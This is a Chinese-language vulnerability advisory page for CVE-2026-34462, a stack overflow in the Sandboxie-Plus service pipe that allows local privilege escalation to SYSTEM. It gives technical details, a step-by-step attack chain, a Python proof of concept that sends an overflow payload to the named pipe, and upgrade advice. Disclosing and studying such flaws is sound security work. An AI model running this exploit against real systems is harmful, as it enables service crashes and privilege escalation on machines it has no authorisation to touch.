IPBUF安全漏洞报告
English
CVE-2026-34462 CVSS 7.8 高危

CVE-2026-34462: Sandboxie-Plus 栈溢出漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-34462
漏洞类型
栈溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Sandboxie-Plus

相关标签

栈溢出本地提权Sandboxie-PlusLPEWindows

漏洞概述

Sandboxie-Plus 在 1.17.2 及更早版本中存在严重的安全漏洞。由于服务管道在处理特定请求时未正确验证输入长度,导致发生栈缓冲区溢出。攻击者可利用此漏洞绕过部分检查,导致服务崩溃或以 SYSTEM 权限执行任意代码。

技术细节

该漏洞位于 Sandboxie-Plus 的 `ProcessServer` 处理程序中(包括 `KillAllHandler`、`SuspendAllHandler` 和 `RunSandboxedHandler`)。程序使用 `wcscpy` 将请求结构中的 `WCHAR boxname[34]` 字段复制到栈上的 `WCHAR[40]` 缓冲区中,且未验证源字符串的终止符。由于服务管道接受可变长度的数据包,攻击者可以发送比请求结构更大的数据包,填充 `boxname` 字段并在其后追加受控的宽字符。`wcscpy` 会继续读取直到遇到空终止符,从而导致栈缓冲区溢出。此外,服务管道使用 NULL DACL 创建,允许任何本地进程连接,且不安全的复制操作发生在授权检查之前,这使得低权限攻击者即可利用该漏洞实现本地权限提升 (LPE)。

攻击链分析

STEP 1
步骤1:侦察
攻击者确认目标系统上安装了 Sandboxie-Plus 1.17.2 或更早版本。
STEP 2
步骤2:访问服务管道
攻击者利用服务管道配置的 NULL DACL,作为低权限用户连接到 Sandboxie 的命名管道。
STEP 3
步骤3:发送恶意数据包
攻击者构造一个特制的请求数据包,其中 `boxname` 字段被填充非零数据,并在结构体后附加大量宽字符。
STEP 4
步骤4:触发溢出
服务器端处理程序使用 `wcscpy` 复制数据时,由于未检查长度,读取越过源缓冲区边界,覆盖栈上的返回地址或关键数据。
STEP 5
步骤5:执行代码
由于溢出发生在授权检查之前,攻击者控制执行流,以 SYSTEM 权限执行任意代码或导致服务崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import ctypes import sys # Constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 FILE_ATTRIBUTE_NORMAL = 0x80 INVALID_HANDLE_VALUE = -1 # Define Windows API functions CreateFileW = ctypes.windll.kernel32.CreateFileW WriteFile = ctypes.windll.kernel32.WriteFile CloseHandle = ctypes.windll.kernel32.CloseHandle # Target named pipe (Example name, actual name may vary based on installation) PIPE_NAME = r"\\.\pipe\SandboxieServicePipe" def exploit(): print(f"[*] Attempting to connect to {PIPE_NAME}...") # Try to connect to the named pipe with NULL DACL handle = CreateFileW( PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, None ) if handle == INVALID_HANDLE_VALUE: print("[-] Failed to connect to the pipe.") return print("[+] Connected to the service pipe.") # Construct malicious payload # The structure expects a boxname of 34 WCHARs (68 bytes) # We provide non-zero data and append extra chars to overflow the 40 WCHAR (80 bytes) stack buffer overflow_size = 100 # Enough to overflow the destination buffer payload = b'A' * (34 * 2) + b'B' * (overflow_size - (34 * 2)) print(f"[*] Sending payload of size {len(payload)} bytes...") bytes_written = ctypes.c_ulong(0) result = WriteFile( handle, payload, len(payload), ctypes.byref(bytes_written), None ) if result: print(f"[+] Payload sent successfully ({bytes_written.value} bytes).") print("[+] Check if the service crashed or code execution occurred.") else: print("[-] Failed to send payload.") CloseHandle(handle) if __name__ == "__main__": exploit()

影响范围

Sandboxie-Plus <= 1.17.2

防御指南

临时缓解措施
建议立即升级至官方修复版本(1.17.3+)。如果无法立即升级,应考虑暂时停止 SandboxiePlus 服务(SbieSvc)以防止被本地攻击者利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表